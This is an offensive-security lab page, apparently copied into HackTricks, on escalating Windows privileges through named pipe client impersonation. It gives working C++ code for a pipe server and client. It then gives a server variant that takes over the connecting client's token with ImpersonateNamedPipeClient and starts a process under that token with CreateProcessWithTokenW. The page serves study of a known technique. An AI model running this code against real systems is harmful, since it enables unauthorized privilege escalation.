hacktricks/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md

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# Named Pipe Client Impersonation
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**This information was copied from** [**https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation**](https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation)
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# Overview
A `pipe` is a block of shared memory that processes can use for communication and data exchange.
`Named Pipes` is a Windows mechanism that enables two unrelated processes to exchange data between themselves, even if the processes are located on two different networks. It's very simar to client/server architecture as notions such as `a named pipe server` and a named `pipe client` exist.
A named pipe server can open a named pipe with some predefined name and then a named pipe client can connect to that pipe via the known name. Once the connection is established, data exchange can begin.
This lab is concerned with a simple PoC code that allows:
* creating a single-threaded dumb named pipe server that will accept one client connection
* named pipe server to write a simple message to the named pipe so that the pipe client can read it
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# Code
Below is the PoC for both the server and the client:
{% tabs %}
{% tab title="namedPipeServer.cpp" %}
```cpp
#include "pch.h"
#include <Windows.h>
#include <iostream>
int main() {
LPCWSTR pipeName = L"\\\\.\\pipe\\mantvydas-first-pipe";
LPVOID pipeBuffer = NULL;
HANDLE serverPipe;
DWORD readBytes = 0;
DWORD readBuffer = 0;
int err = 0;
BOOL isPipeConnected;
BOOL isPipeOpen;
wchar_t message[] = L"HELL";
DWORD messageLenght = lstrlen(message) * 2;
DWORD bytesWritten = 0;
std::wcout << "Creating named pipe " << pipeName << std::endl;
serverPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, 1, 2048, 2048, 0, NULL);
isPipeConnected = ConnectNamedPipe(serverPipe, NULL);
if (isPipeConnected) {
std::wcout << "Incoming connection to " << pipeName << std::endl;
}
std::wcout << "Sending message: " << message << std::endl;
WriteFile(serverPipe, message, messageLenght, &bytesWritten, NULL);
return 0;
}
```
{% endtab %}
{% tab title="namedPipeClient.cpp" %}
```cpp
#include "pch.h"
#include <iostream>
#include <Windows.h>
const int MESSAGE_SIZE = 512;
int main()
{
LPCWSTR pipeName = L"\\\\10.0.0.7\\pipe\\mantvydas-first-pipe";
HANDLE clientPipe = NULL;
BOOL isPipeRead = true;
wchar_t message[MESSAGE_SIZE] = { 0 };
DWORD bytesRead = 0;
std::wcout << "Connecting to " << pipeName << std::endl;
clientPipe = CreateFile(pipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
while (isPipeRead) {
isPipeRead = ReadFile(clientPipe, &message, MESSAGE_SIZE, &bytesRead, NULL);
std::wcout << "Received message: " << message;
}
return 0;
}
```
{% endtab %}
{% endtabs %}
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# Execution
Below shows the named pipe server and named pipe client working as expected:
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![](<../../.gitbook/assets/screenshot-from-2019-04-02-23-44-22 (2).png>)
Worth nothing that the named pipes communication by default uses SMB protocol:
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![](../../.gitbook/assets/screenshot-from-2019-04-04-23-51-48.png)
Checking how the process maintains a handle to our named pipe `mantvydas-first-pipe`:
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![](<../../.gitbook/assets/screenshot-from-2019-04-02-23-44-22 (1).png>)
Similary, we can see the client having an open handle to the named pipe:
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![](../../.gitbook/assets/screenshot-from-2019-04-02-23-44-22.png)
We can even see our pipe with powershell:
```csharp
((Get-ChildItem \\.\pipe\).name)[-1..-5]
```
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![](<../../.gitbook/assets/screenshot-from-2019-04-02-23-44-22 (3).png>)
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# Token Impersonation
{% hint style="info" %}
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Note that in order to impersonate the token of the client process you need to have (the server process creating the pipe) the **`SeImpersonate`** token privilege
{% endhint %}
It is possible for the named pipe server to impersonate the named pipe client's security context by leveraging a `ImpersonateNamedPipeClient` API call which in turn changes the named pipe server's current thread's token with that of the named pipe client's token.
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We can update the the named pipe server's code like this to achieve the impersonation - note that modifications are seen in line 25 and below:
```cpp
int main() {
LPCWSTR pipeName = L"\\\\.\\pipe\\mantvydas-first-pipe";
LPVOID pipeBuffer = NULL;
HANDLE serverPipe;
DWORD readBytes = 0;
DWORD readBuffer = 0;
int err = 0;
BOOL isPipeConnected;
BOOL isPipeOpen;
wchar_t message[] = L"HELL";
DWORD messageLenght = lstrlen(message) * 2;
DWORD bytesWritten = 0;
std::wcout << "Creating named pipe " << pipeName << std::endl;
serverPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE, 1, 2048, 2048, 0, NULL);
isPipeConnected = ConnectNamedPipe(serverPipe, NULL);
if (isPipeConnected) {
std::wcout << "Incoming connection to " << pipeName << std::endl;
}
std::wcout << "Sending message: " << message << std::endl;
WriteFile(serverPipe, message, messageLenght, &bytesWritten, NULL);
std::wcout << "Impersonating the client..." << std::endl;
ImpersonateNamedPipeClient(serverPipe);
err = GetLastError();
STARTUPINFO si = {};
wchar_t command[] = L"C:\\Windows\\system32\\notepad.exe";
PROCESS_INFORMATION pi = {};
HANDLE threadToken = GetCurrentThreadToken();
CreateProcessWithTokenW(threadToken, LOGON_WITH_PROFILE, command, NULL, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
return 0;
}
```
Running the server and connecting to it with the client that is running under administrator@offense.local security context, we can see that the main thread of the named server pipe assumed the token of the named pipe client - offense\administrator, although the PipeServer.exe itself is running under ws01\mantvydas security context. Sounds like a good way to escalate privileges?
2022-04-28 16:01:33 +00:00
<details>
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